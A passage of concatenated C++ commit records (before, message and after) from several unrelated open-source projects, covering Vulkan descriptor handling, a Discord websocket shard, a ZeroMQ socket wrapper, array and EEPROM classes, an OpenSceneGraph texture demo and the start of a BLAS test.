= 0; i< descriptors.GetSize(); i++) {\r\n\t\tDescriptorBinding& b = descriptors[i];\r\n\r\n\t\tif (b.type == DescriptorType::Uniform) {\r\n\t\t\tb.offset = bufferSize;\r\n\t\t\tbufferSize += b.size >= minOffset ? b.size : minOffset;\r\n\t\t}\r\n\t}\r\n\r\n\tuniformBuffer = new UniformBuffer(nullptr, bufferSize);\r\n\r\n\tList<VkWriteDescriptorSet> winfo;\r\n\r\n\tVkDescriptorBufferInfo binfo[1024];\r\n\r\n\tfor (uint_t i = 0; i < descriptors.GetSize(); i++) {\r\n\t\tDescriptorBinding& b = descriptors[i];\r\n\r\n\t\tif (b.type == DescriptorType::Uniform) {\r\n\t\t\tVkWriteDescriptorSet info;\r\n\r\n\t\t\tinfo.sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\t\tinfo.pNext = nullptr;\r\n\t\t\tinfo.dstSet = descriptorSets[b.set];\r\n\t\t\tinfo.dstBinding = b.binding;\r\n\t\t\tinfo.descriptorType = (VkDescriptorType)b.type;\r\n\t\t\tinfo.descriptorCount = 1;\r\n\t\t\tinfo.dstArrayElement = 0;\r\n\t\t\tinfo.pTexelBufferView = nullptr;\r\n\t\t\tinfo.pImageInfo = nullptr;\r\n\t\t\tinfo.pBufferInfo = binfo + i;\r\n\r\n\t\t\tbinfo[i].buffer = uniformBuffer->GetBuffer();\r\n\t\t\tbinfo[i].offset = b.offset;\r\n\t\t\tbinfo[i].range = b.size;\r\n\r\n\t\t\twinfo.Push_back(info);\r\n\t\t}\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), winfo.GetSize(), winfo.GetData(), 0, nullptr);\r\n}\r\n\r\nvoid PipelineLayout::UpdateUniform(uint32 set, uint32 binding, const void* const data, uint_t size, uint_t offset) {\r\n\tDescriptorBinding& b = descriptors[setOffsets[set] + binding];\r\n\r\n\tif (b.type != DescriptorType::Uniform) {\r\n\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a uniform!\", binding, set);\r\n\t\treturn;\r\n\t}\r\n\r\n\tvoid* bufferData = uniformBuffer->Map(b.offset + offset, size);\r\n\tFD_ASSERT(bufferData != nullptr);\r\n\tmemcpy(bufferData, data, size);\r\n\tuniformBuffer->Unmap();\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32 slots, Texture* texture, Sampler* sampler) {\r\n\tSetTexture(set, &slots, 1, texture, sampler);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32* slots, uint32 num, Texture* textures, Sampler* samplers) {\r\n\tVkWriteDescriptorSet* winfo = new VkWriteDescriptorSet[num];\r\n\r\n\tVkDescriptorImageInfo* iinfo = new VkDescriptorImageInfo[num];\r\n\r\n\tfor (uint32 i = 0; i < num; i++) {\r\n\t\tuint32 slot = slots[i];\r\n\t\tDescriptorBinding& binding = descriptors[setOffsets[set] + slot];\r\n\r\n\t\tif (binding.type != DescriptorType::TextureSampler && binding.type != DescriptorType::InputAttachment) {\r\n\t\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a \\\"TextureSampler\\\" or \\\"InputAttachment\\\"\", slot, set);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\twinfo[i].sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\twinfo[i].pNext = nullptr;\r\n\t\twinfo[i].descriptorType = (VkDescriptorType)binding.type;\r\n\t\twinfo[i].dstSet = descriptorSets[set];\r\n\t\twinfo[i].dstBinding = slot;\r\n\t\twinfo[i].dstArrayElement = 0;\r\n\t\twinfo[i].descriptorCount = 1;\r\n\t\twinfo[i].pBufferInfo = nullptr;\r\n\t\twinfo[i].pTexelBufferView = nullptr;\r\n\r\n\t\twinfo[i].pImageInfo = iinfo + i;\r\n\r\n\t\tiinfo[i].imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;\r\n\t\tiinfo[i].imageView = textures[i].GetImageView();\r\n\t\tbinding.texture = textures + i;\r\n\r\n\t\tif (binding.type == DescriptorType::TextureSampler) {\r\n\t\t\tiinfo[i].sampler = samplers[i].GetSampler();\r\n\t\t\tbinding.sampler = samplers + i;\r\n\t\t}\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), num, winfo, 0, 0);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32 slot, VkImageView view) {\r\n\tSetTexture(set, &slot, 1, &view);\r\n}\r\n\r\nvoid PipelineLayout::SetTexture(uint32 set, uint32* slots, uint32 num, VkImageView* views) {\r\n\tVkWriteDescriptorSet* winfo = new VkWriteDescriptorSet[num];\r\n\r\n\tVkDescriptorImageInfo* iinfo = new VkDescriptorImageInfo[num];\r\n\r\n\tfor (uint32 i = 0; i < num; i++) {\r\n\t\tuint32 slot = slots[i];\r\n\t\tDescriptorBinding& binding = descriptors[setOffsets[set] + slot];\r\n\r\n\t\tif (binding.type != DescriptorType::TextureSampler && binding.type != DescriptorType::InputAttachment) {\r\n\t\t\tLog::Fatal(\"[PipelineLayout] binding %u in set %u is not a \\\"TextureSampler\\\" or \\\"InputAttachment\\\"\", slot, set);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\twinfo[i].sType = VK_STRUCTURE_TYPE_WRITE_DESCRIPTOR_SET;\r\n\t\twinfo[i].pNext = nullptr;\r\n\t\twinfo[i].descriptorType = (VkDescriptorType)binding.type;\r\n\t\twinfo[i].dstSet = descriptorSets[set];\r\n\t\twinfo[i].dstBinding = slot;\r\n\t\twinfo[i].dstArrayElement = 0;\r\n\t\twinfo[i].descriptorCount = 1;\r\n\t\twinfo[i].pBufferInfo = nullptr;\r\n\t\twinfo[i].pTexelBufferView = nullptr;\r\n\r\n\t\twinfo[i].pImageInfo = iinfo + i;\r\n\r\n\t\tiinfo[i].imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;\r\n\t\tiinfo[i].imageView = views[i];\r\n\t\tiinfo[i].sampler = nullptr;\r\n\r\n\t\tbinding.texture = nullptr;\r\n\t\tbinding.sampler = nullptr;\r\n\t}\r\n\r\n\tvkUpdateDescriptorSets(Context::GetDevice(), num, winfo, 0, 0);\r\n}\r\n\r\n}\r\n}\r\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ shard.cpp\n\/\/ *********\n\/\/\n\/\/ Copyright (c) 2018 Sharon W (sharon at aegis dot gg)\n\/\/\n\/\/ Distributed under the MIT License. (See accompanying file LICENSE)\n\/\/\n\n#include \"aegis\/config.hpp\"\n#include \"aegis\/shard.hpp\"\n\nnamespace aegis\n{\n\nAEGIS_DECL shard::shard(asio::io_context & _io, websocketpp::client<websocketpp::config::asio_tls_client> & _ws)\n    : write_timer(_io)\n    , heartbeattime(0)\n    , sequence(0)\n    , connection_state(bot_status::Uninitialized)\n    , ws_write(_io)\n    , _io_context(_io)\n    , transfer_bytes(0)\n    , transfer_bytes_u(0)\n    , _websocket(_ws)\n{\n}\n\nAEGIS_DECL void shard::do_reset() AEGIS_NOEXCEPT\n{\n    heartbeat_ack = lastheartbeat = std::chrono::steady_clock::time_point();\n    if (_connection != nullptr)\n        _connection.reset();\n    if (keepalivetimer != nullptr)\n    {\n        keepalivetimer->cancel();\n        keepalivetimer.reset();\n    }\n    write_timer.cancel();\n    ++counters.reconnects;\n}\n\nAEGIS_DECL void shard::set_connected()\n{\n    using namespace std::chrono_literals;\n    write_timer.expires_after(600ms);\n    write_timer.async_wait(asio::bind_executor(ws_write, std::bind(&shard::process_writes, this, std::placeholders::_1)));\n    connection_state = bot_status::Online;\n}\n\nAEGIS_DECL bool shard::is_connected() const AEGIS_NOEXCEPT\n{\n    if (_connection == nullptr)\n        return false;\n\n    if ((connection_state == bot_status::Connecting) || (connection_state == bot_status::Online))\n        return true;\n\n    return false;\n}\n\nAEGIS_DECL void shard::send(std::string const & payload, websocketpp::frame::opcode::value op)\n{\n    if (!is_connected())\n        return;\n    asio::post(asio::bind_executor(ws_write, [_payload = payload, op, this]()\n    {\n        write_queue.push({ _payload, op });\n    }));\n}\n\nAEGIS_DECL void shard::send_now(std::string const & payload, websocketpp::frame::opcode::value op)\n{\n    if (!is_connected())\n        return;\n    asio::post(asio::bind_executor(ws_write, [_payload = payload, op, this]()\n    {\n        last_ws_write = std::chrono::steady_clock::now();\n        _connection->send(_payload, op);\n    }));\n}\n\nAEGIS_DECL void shard::process_writes(const asio::error_code & ec)\n{\n    if (ec == asio::error::operation_aborted)\n        return;\n    using namespace std::chrono_literals;\n    if ((connection_state == bot_status::Online\n         || connection_state == bot_status::Connecting) && !write_queue.empty())\n    {\n        last_ws_write = std::chrono::steady_clock::now();\n\n        auto msg = write_queue.front();\n        write_queue.pop();\n\n        _connection->send(std::get<0>(msg), std::get<1>(msg));\n    }\n\n    write_timer.expires_after(600ms);\n    write_timer.async_wait(asio::bind_executor(ws_write, std::bind(&shard::process_writes, this, std::placeholders::_1)));\n}\n\n}\n<commit_msg>Fix tuple\/initializer-list issue<commit_after>\/\/\n\/\/ shard.cpp\n\/\/ *********\n\/\/\n\/\/ Copyright (c) 2018 Sharon W (sharon at aegis dot gg)\n\/\/\n\/\/ Distributed under the MIT License. (See accompanying file LICENSE)\n\/\/\n\n#include \"aegis\/config.hpp\"\n#include \"aegis\/shard.hpp\"\n\nnamespace aegis\n{\n\nAEGIS_DECL shard::shard(asio::io_context & _io, websocketpp::client<websocketpp::config::asio_tls_client> & _ws)\n    : write_timer(_io)\n    , heartbeattime(0)\n    , sequence(0)\n    , connection_state(bot_status::Uninitialized)\n    , ws_write(_io)\n    , _io_context(_io)\n    , transfer_bytes(0)\n    , transfer_bytes_u(0)\n    , _websocket(_ws)\n{\n}\n\nAEGIS_DECL void shard::do_reset() AEGIS_NOEXCEPT\n{\n    heartbeat_ack = lastheartbeat = std::chrono::steady_clock::time_point();\n    if (_connection != nullptr)\n        _connection.reset();\n    if (keepalivetimer != nullptr)\n    {\n        keepalivetimer->cancel();\n        keepalivetimer.reset();\n    }\n    write_timer.cancel();\n    ++counters.reconnects;\n}\n\nAEGIS_DECL void shard::set_connected()\n{\n    using namespace std::chrono_literals;\n    write_timer.expires_after(600ms);\n    write_timer.async_wait(asio::bind_executor(ws_write, std::bind(&shard::process_writes, this, std::placeholders::_1)));\n    connection_state = bot_status::Online;\n}\n\nAEGIS_DECL bool shard::is_connected() const AEGIS_NOEXCEPT\n{\n    if (_connection == nullptr)\n        return false;\n\n    if ((connection_state == bot_status::Connecting) || (connection_state == bot_status::Online))\n        return true;\n\n    return false;\n}\n\nAEGIS_DECL void shard::send(std::string const & payload, websocketpp::frame::opcode::value op)\n{\n    if (!is_connected())\n        return;\n    asio::post(asio::bind_executor(ws_write, [_payload = payload, op, this]()\n    {\n        write_queue.push(std::make_tuple(_payload, op));\n    }));\n}\n\nAEGIS_DECL void shard::send_now(std::string const & payload, websocketpp::frame::opcode::value op)\n{\n    if (!is_connected())\n        return;\n    asio::post(asio::bind_executor(ws_write, [_payload = payload, op, this]()\n    {\n        last_ws_write = std::chrono::steady_clock::now();\n        _connection->send(_payload, op);\n    }));\n}\n\nAEGIS_DECL void shard::process_writes(const asio::error_code & ec)\n{\n    if (ec == asio::error::operation_aborted)\n        return;\n    using namespace std::chrono_literals;\n    if ((connection_state == bot_status::Online\n         || connection_state == bot_status::Connecting) && !write_queue.empty())\n    {\n        last_ws_write = std::chrono::steady_clock::now();\n\n        auto msg = write_queue.front();\n        write_queue.pop();\n\n        _connection->send(std::get<0>(msg), std::get<1>(msg));\n    }\n\n    write_timer.expires_after(600ms);\n    write_timer.async_wait(asio::bind_executor(ws_write, std::bind(&shard::process_writes, this, std::placeholders::_1)));\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 C. Brett Witherspoon\n *\/\n\n#ifndef INCLUDE_COMM_SOCKET_HPP_\n#define INCLUDE_COMM_SOCKET_HPP_\n\n#include <zmq.h>\n#include <memory>\n#include <stdexcept>\n#include <string>\n\n#include \"comm\/message.hpp\"\n\nnamespace comm\n{\n\/\/! An exception thrown on message socket errors\nstruct socket_error : public std::runtime_error\n{\n  explicit socket_error(const std::string& where, const std::string& what) :\n      std::runtime_error(where + \": \" + what)\n  {\n  }\n  explicit socket_error(const std::string& where) :\n      socket_error(where, zmq_strerror(zmq_errno()))\n  {\n  }\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/! A messaging socket\nclass socket\n{\n  friend class context;\npublic:\n  enum class types\n  {\n    request = ZMQ_REQ,\n    reply   = ZMQ_REP\n  };\n\n  socket(const socket&) = delete;\n\n  socket& operator=(const socket&) = delete;\n\n  socket(socket&&)  = delete;\n\n  socket& operator=(socket&& other) = delete;\n\n  \/\/! Deconstructs a message socket\n  ~socket();\n\n  \/*!\n   * \\brief Assigns an address to the message socket\n   * \\param addr an address\n   * \\sa connect()\n   *\/\n  socket& bind(const std::string& addr);\n\n  \/*!\n   * \\brief Connects the message socket to an address\n   * \\param addr an address\n   * \\sa bind()\n   *\/\n  socket& connect(const std::string& addr);\n\n  \/*! \\brief Sends a message on the socket\n   *  \\param msg a message\n   *  \\sa recv()\n   *\/\n  socket& send(const message& msg);\n\n  \/*! \\brief Receives a message on the socket\n   *  \\param msg a message\n   *  \\sa send()\n   *\/\n  socket& recv(message& msg);\n\nprivate:\n  \/*!\n   * \\brief Constructs a message socket\n   * \\param context a context\n   * \\param type a socket type\n   *\/\n  socket(void* context, types type);\n\n  void* m_socket; \/\/!< A ZeroMQ socket\n};\n\nsocket::socket(void* context, socket::types type)\n{\n  m_socket = zmq_socket(context, static_cast<int>(type));\n  if (m_socket == nullptr)\n    throw socket_error(__func__);\n}\n\nsocket::~socket()\n{\n  const int ms = 500;\n  zmq_setsockopt(m_socket, ZMQ_LINGER, &ms, sizeof(int));\n  zmq_close(m_socket);\n}\n\nsocket& socket::bind(const std::string& addr)\n{\n  if (zmq_bind(m_socket, addr.c_str()) != 0)\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::connect(const std::string& addr)\n{\n  if (zmq_connect(m_socket, addr.c_str()) != 0 )\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::send(const message& msg)\n{\n  auto data = msg.data();\n  auto size = msg.size();\n\n  if (zmq_send(m_socket, data, size, 0) == -1)\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::recv(message& msg)\n{\n  const std::size_t size = 1024;\n  msg.resize(size);\n\n  auto data = msg.data();\n\n  int count = zmq_recv(m_socket, data, size, 0);\n\n  if (count < 0)\n    throw socket_error(__func__);\n\n  if (static_cast<std::size_t>(count) > size)\n    throw socket_error(__func__, \"message truncated\");\n\n  msg.resize(static_cast<std::size_t>(count));\n  msg.reset();\n\n  return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*! \\brief A messaging context\n *\n *  A factory for constructing message sockets which all share the same context.\n *  A messaging context is thread safe, but the sockets it creates are not. All\n *  sockets created by context must be destroyed before the deconstructor of the\n *  context is called or it will block.\n *\/\nclass context\n{\npublic:\n  \/\/! Constructs a new messaging context\n  context();\n\n  \/*!\n   * \\brief Deconstructs the messaging context\n   *\n   * After the context is destroyed any sockets it constructed will throw an\n   * exception if blocked or used.\n   *\/\n  ~context();\n\n  \/*! \\brief Constructs a new message socket\n   *  \\param type A message socket type\n   *  \\returns A new message socket\n   *\/\n  std::unique_ptr<socket> make_socket(socket::types type);\n\nprivate:\n  void* m_context;\n};\n\ncontext::context()\n{\n  m_context = zmq_ctx_new();\n  if (m_context == nullptr)\n    throw socket_error(__func__);\n}\n\ncontext::~context()\n{\n  zmq_ctx_destroy(m_context);\n}\n\nstd::unique_ptr<socket> context::make_socket(socket::types type)\n{\n  return std::unique_ptr<socket>(new socket(m_context, type));\n}\n\n} \/* namespace comm *\/\n\n#endif \/* INCLUDE_COMM_SOCKET_HPP_ *\/\n<commit_msg>socket: make socket_error a nested class<commit_after>\/*\n * Copyright 2015 C. Brett Witherspoon\n *\/\n\n#ifndef INCLUDE_COMM_SOCKET_HPP_\n#define INCLUDE_COMM_SOCKET_HPP_\n\n#include <zmq.h>\n#include <memory>\n#include <stdexcept>\n#include <string>\n\n#include \"comm\/message.hpp\"\n\nnamespace comm\n{\n\/\/! A messaging socket\nclass socket\n{\n  friend class context;\npublic:\n  enum class types\n  {\n    request = ZMQ_REQ,\n    reply   = ZMQ_REP\n  };\n\n  \/\/! An exception thrown on message socket errors\n  struct socket_error : public std::runtime_error\n  {\n    explicit socket_error(const std::string& where, const std::string& what) :\n        std::runtime_error(where + \": \" + what)\n    {\n    }\n    explicit socket_error(const std::string& where) :\n        socket_error(where, zmq_strerror(zmq_errno()))\n    {\n    }\n  };\n\n  socket(const socket&) = delete;\n\n  socket& operator=(const socket&) = delete;\n\n  socket(socket&&)  = delete;\n\n  socket& operator=(socket&& other) = delete;\n\n  \/\/! Deconstructs a message socket\n  ~socket();\n\n  \/*!\n   * \\brief Assigns an address to the message socket\n   * \\param addr an address\n   * \\sa connect()\n   *\/\n  socket& bind(const std::string& addr);\n\n  \/*!\n   * \\brief Connects the message socket to an address\n   * \\param addr an address\n   * \\sa bind()\n   *\/\n  socket& connect(const std::string& addr);\n\n  \/*! \\brief Sends a message on the socket\n   *  \\param msg a message\n   *  \\sa recv()\n   *\/\n  socket& send(const message& msg);\n\n  \/*! \\brief Receives a message on the socket\n   *  \\param msg a message\n   *  \\sa send()\n   *\/\n  socket& recv(message& msg);\n\nprivate:\n  \/*!\n   * \\brief Constructs a message socket\n   * \\param context a context\n   * \\param type a socket type\n   *\/\n  socket(void* context, types type);\n\n  void* m_socket; \/\/!< A ZeroMQ socket\n};\n\nsocket::socket(void* context, socket::types type)\n{\n  m_socket = zmq_socket(context, static_cast<int>(type));\n  if (m_socket == nullptr)\n    throw socket_error(__func__);\n}\n\nsocket::~socket()\n{\n  const int ms = 500;\n  zmq_setsockopt(m_socket, ZMQ_LINGER, &ms, sizeof(int));\n  zmq_close(m_socket);\n}\n\nsocket& socket::bind(const std::string& addr)\n{\n  if (zmq_bind(m_socket, addr.c_str()) != 0)\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::connect(const std::string& addr)\n{\n  if (zmq_connect(m_socket, addr.c_str()) != 0 )\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::send(const message& msg)\n{\n  auto data = msg.data();\n  auto size = msg.size();\n\n  if (zmq_send(m_socket, data, size, 0) == -1)\n    throw socket_error(__func__);\n\n  return *this;\n}\n\nsocket& socket::recv(message& msg)\n{\n  const std::size_t size = 1024;\n  msg.resize(size);\n\n  auto data = msg.data();\n\n  int count = zmq_recv(m_socket, data, size, 0);\n\n  if (count < 0)\n    throw socket_error(__func__);\n\n  if (static_cast<std::size_t>(count) > size)\n    throw socket_error(__func__, \"message truncated\");\n\n  msg.resize(static_cast<std::size_t>(count));\n  msg.reset();\n\n  return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*! \\brief A messaging context\n *\n *  A factory for constructing message sockets which all share the same context.\n *  A messaging context is thread safe, but the sockets it creates are not. All\n *  sockets created by context must be destroyed before the deconstructor of the\n *  context is called or it will block.\n *\/\nclass context\n{\npublic:\n  \/\/! Constructs a new messaging context\n  context();\n\n  \/*!\n   * \\brief Deconstructs the messaging context\n   *\n   * After the context is destroyed any sockets it constructed will throw an\n   * exception if blocked or used.\n   *\/\n  ~context();\n\n  \/*! \\brief Constructs a new message socket\n   *  \\param type A message socket type\n   *  \\returns A new message socket\n   *\/\n  std::unique_ptr<socket> make_socket(socket::types type);\n\nprivate:\n  void* m_context;\n};\n\ncontext::context()\n{\n  m_context = zmq_ctx_new();\n  if (m_context == nullptr)\n    throw socket::socket_error(__func__);\n}\n\ncontext::~context()\n{\n  zmq_ctx_destroy(m_context);\n}\n\nstd::unique_ptr<socket> context::make_socket(socket::types type)\n{\n  return std::unique_ptr<socket>(new socket(m_context, type));\n}\n\n} \/* namespace comm *\/\n\n#endif \/* INCLUDE_COMM_SOCKET_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __MULTIDIMENSIONAL_ARRAY__CONST_ARRAY_HPP__\n#define __MULTIDIMENSIONAL_ARRAY__CONST_ARRAY_HPP__\n\n#include \"size.hpp\"\n\nnamespace MultidimensionalArray {\n  template <class T>\n  class Array;\n\n  template <class T>\n  class ConstSlice;\n\n  template <class T>\n  class ConstView;\n\n  template <class T>\n  class ConstArray {\n    public:\n      typedef T value_type;\n\n      ConstArray();\n\n      ConstArray(ConstArray const& other);\n      ConstArray(ConstArray&& other);\n\n      ConstArray(Array<T> const& other);\n      ConstArray(Array<T>&& other);\n\n      ConstArray(Size const& size);\n      ConstArray(Size const& size, T const* ptr,\n          bool responsible_for_deleting = false);\n\n      ~ConstArray();\n\n      void swap(ConstArray& other);\n      void swap(ConstArray&& other);\n\n      ConstView<T> view();\n\n      bool resize(Size const& size);\n\n      Size const& size() const { return size_; }\n      size_t total_size() const { return size_.total_size(); }\n\n      void set_pointer(T const* ptr, bool responsible_for_deleting = false);\n      T const* get_pointer() const { return values_; }\n\n      template <class... Args>\n      T const& operator()(Args const&... args) const;\n\n      T const& get(Size::SizeType const& index) const;\n\n    private:\n      friend class ConstSlice<T>;\n\n      void cleanup();\n\n      Size size_;\n      T const* values_;\n      bool deallocate_on_destruction_;\n  };\n};\n\n#include \"const_array_impl.hpp\"\n\n#endif\n<commit_msg>Made Array friend of ConstArray.<commit_after>#ifndef __MULTIDIMENSIONAL_ARRAY__CONST_ARRAY_HPP__\n#define __MULTIDIMENSIONAL_ARRAY__CONST_ARRAY_HPP__\n\n#include \"size.hpp\"\n\nnamespace MultidimensionalArray {\n  template <class T>\n  class Array;\n\n  template <class T>\n  class ConstSlice;\n\n  template <class T>\n  class ConstView;\n\n  template <class T>\n  class ConstArray {\n    public:\n      typedef T value_type;\n\n      ConstArray();\n\n      ConstArray(ConstArray const& other);\n      ConstArray(ConstArray&& other);\n\n      ConstArray(Array<T> const& other);\n      ConstArray(Array<T>&& other);\n\n      ConstArray(Size const& size);\n      ConstArray(Size const& size, T const* ptr,\n          bool responsible_for_deleting = false);\n\n      ~ConstArray();\n\n      void swap(ConstArray& other);\n      void swap(ConstArray&& other);\n\n      ConstView<T> view();\n\n      bool resize(Size const& size);\n\n      Size const& size() const { return size_; }\n      size_t total_size() const { return size_.total_size(); }\n\n      void set_pointer(T const* ptr, bool responsible_for_deleting = false);\n      T const* get_pointer() const { return values_; }\n\n      template <class... Args>\n      T const& operator()(Args const&... args) const;\n\n      T const& get(Size::SizeType const& index) const;\n\n    private:\n      friend class Array<T>;\n      friend class ConstSlice<T>;\n\n      void cleanup();\n\n      Size size_;\n      T const* values_;\n      bool deallocate_on_destruction_;\n  };\n};\n\n#include \"const_array_impl.hpp\"\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#ifndef LIBICS3_ICS3_EEPROM_H_\n#define LIBICS3_ICS3_EEPROM_H_\n\n#include\"ics3\/eepparam.hpp\"\n\n#include<algorithm>\n\nnamespace ics {\n  class ICS3;\n\n  class EepRom {\n    friend ICS3; \/\/ for ICS3::getRom()\n  public:\n    using size_type = std::size_t;\n    static constexpr size_type length {64};\n    using Container = std::array<uint8_t, length>;\n\n    EepParam get(EepParam) const;\n    void set(const EepParam&) noexcept;\n    template<typename Iter>\n    void write(Iter&&) const;\n  private:\n    explicit EepRom(const Container&);\n\n    std::array<uint8_t, length> data;\n  };\n\n  inline ics::EepParam ics::EepRom::get(EepParam type) const {\n    type.read(data); \/\/ throw std::out_of_range\n    return type;\n  }\n\n  inline void EepRom::set(const EepParam& param) noexcept {\n    param.write(data);\n  }\n\n  template<typename Iter>\n  inline void EepRom::write(Iter&& dest) const {\n    std::copy(data.cbegin(), data.cend(), dest);\n  }\n\n  inline EepRom::EepRom(const Container& src)\n  : data(src) \/\/ for Ubuntu14.04 compiler\n  {}\n}\n\n#endif \/\/ LIBICS3_ICS3_EEPROM_H_\n<commit_msg>Omit explicit<commit_after>#ifndef LIBICS3_ICS3_EEPROM_H_\n#define LIBICS3_ICS3_EEPROM_H_\n\n#include\"ics3\/eepparam.hpp\"\n\n#include<algorithm>\n\nnamespace ics {\n  class ICS3;\n\n  class EepRom {\n    friend ICS3; \/\/ for ICS3::getRom()\n  public:\n    using size_type = std::size_t;\n    static constexpr size_type length {64};\n    using Container = std::array<uint8_t, length>;\n\n    EepParam get(EepParam) const;\n    void set(const EepParam&) noexcept;\n    template<typename Iter>\n    void write(Iter&&) const;\n  private:\n    EepRom(const Container&); \/\/ non explicit, user cannot touch this\n\n    std::array<uint8_t, length> data;\n  };\n\n  inline ics::EepParam ics::EepRom::get(EepParam type) const {\n    type.read(data); \/\/ throw std::out_of_range\n    return type;\n  }\n\n  inline void EepRom::set(const EepParam& param) noexcept {\n    param.write(data);\n  }\n\n  template<typename Iter>\n  inline void EepRom::write(Iter&& dest) const {\n    std::copy(data.cbegin(), data.cend(), dest);\n  }\n\n  inline EepRom::EepRom(const Container& src)\n  : data(src) \/\/ for Ubuntu14.04 compiler\n  {}\n}\n\n#endif \/\/ LIBICS3_ICS3_EEPROM_H_\n<|endoftext|>"}
{"text":"<commit_before>#include <osgViewer\/Viewer>\n#include <osg\/Texture2D>\n#include <osg\/MatrixTransform>\n#include <osg\/PolygonMode>\n#include <osgDB\/ReadFile>\n\n#include \"..\/objects\/sphere.h\"\n\n\nint main(void) {\n    \/\/ref_ptr<ph::Sphere> sphere = new ph::Sphere(5, 10, 10);\n    ref_ptr<StackedSphere> sphere = new StackedSphere(5, 200, 200);\n    ref_ptr<Group> root = new Group();\n    \n    ref_ptr<Texture2D> texture = new Texture2D;\n    ref_ptr<Image> image = osgDB::readImageFile(\"..\/Textures\/EarthMap.jpg\");\n    texture->setWrap(Texture::WRAP_S, Texture::CLAMP);\n    texture->setImage(image.get());\n    \n    root->addChild(sphere.get());\n\n    \/\/ wenn man die Dreiecke mal sehen will:\n     ref_ptr<PolygonMode> pm = new PolygonMode;\n     pm->setMode(PolygonMode::FRONT_AND_BACK, PolygonMode::LINE);\n     \/\/root->getOrCreateStateSet()->setAttribute(pm.get());\n\n    osgViewer::Viewer viewer;\n    viewer.setSceneData(root.get());\n    return viewer.run();\n}\n<commit_msg>fix merge<commit_after>#include <osgViewer\/Viewer>\n#include <osg\/Texture2D>\n#include <osg\/MatrixTransform>\n#include <osg\/PolygonMode>\n#include <osgDB\/ReadFile>\n\n#include \"..\/objects\/sphere.h\"\n\n\nint main(void) {\n    \/\/ref_ptr<ph::Sphere> sphere = new ph::Sphere(5, 10, 10);\n    ref_ptr<StackedSphere> sphere = new StackedSphere(5, 200, 200);\n    ref_ptr<Group> root = new Group();\n    \n    ref_ptr<Texture2D> texture = new Texture2D;\n    ref_ptr<Image> image = osgDB::readImageFile(\"..\/Textures\/EarthMap.jpg\");\n    texture->setWrap(Texture::WRAP_S, Texture::CLAMP);\n    texture->setImage(image.get());\n    root->getOrCreateStateSet()->setTextureAttributeAndModes(0, texture.get());\n    \n    root->addChild(sphere.get());\n\n    \/\/ wenn man die Dreiecke mal sehen will:\n     ref_ptr<PolygonMode> pm = new PolygonMode;\n     pm->setMode(PolygonMode::FRONT_AND_BACK, PolygonMode::LINE);\n     \/\/root->getOrCreateStateSet()->setAttribute(pm.get());\n\n    osgViewer::Viewer viewer;\n    viewer.setSceneData(root.get());\n    return viewer.run();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * \\copyright Copyright 2015 Xiang Zhang All Rights Reserved.\n * \\license @{\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @}\n *\/\n\n\/* Disclaimer: these tests are not complete. In particular, we do not test the\n * variants of order, transpose, uppper-lower, diagonal and side choices. We\n * always use row-major, no transpose, upper matrix, non-unit diagonal and left\n * side settings.\n *\/\n\n#include <complex>\n#include <cstdlib>\n#include <random>\n\n#include \"gtest\/gtest.h\"\n#include \"thunder\/linalg\/cxxblas.hpp\"\n\nnamespace thunder {\nnamespace linalg {\nnamespace {\n\ntemplate < typename D >\nvoid expectEq(const D &a, const D &b) {\n  EXPECT_FLOAT_EQ(a, b);\n}\ntemplate < typename D >\nvoid expectEq(const ::std::complex< D > &a, const ::std::complex< D > &b) {\n  EXPECT_FLOAT_EQ(::std::real(a), ::std::real(b));\n  EXPECT_FLOAT_EQ(::std::imag(a), 